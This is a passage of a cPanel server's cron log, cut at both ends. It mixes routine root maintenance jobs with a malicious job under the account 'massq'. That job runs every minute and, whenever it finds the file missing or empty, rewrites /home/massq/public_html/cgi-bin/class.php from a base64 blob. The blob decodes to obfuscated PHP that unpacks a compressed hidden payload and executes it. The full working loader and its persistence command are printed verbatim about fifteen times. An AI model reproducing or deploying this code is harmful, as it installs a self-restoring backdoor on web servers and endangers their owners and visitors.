KSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:32:01 server CROND[27507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:33:01 server CROND[27579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:34:01 server CROND[27652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:35:01 server CROND[27816]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 16:35:01 server CROND[27817]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 16:35:01 server CROND[27818]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 16:35:01 server CROND[27819]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 16:35:01 server CROND[27829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:36:01 server CROND[27952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:37:01 server CROND[28019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:38:01 server CROND[28093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:39:01 server CROND[28155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:39:01 server CROND[28156]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 16:40:01 server CROND[28231]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 16:40:01 server CROND[28232]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 16:40:01 server CROND[28233]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 16:40:01 server CROND[28234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:41:01 server CROND[28448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:42:01 server CROND[28530]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 16:42:01 server CROND[28531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:43:01 server CROND[28599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:44:01 server CROND[28667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:45:01 server CROND[28739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 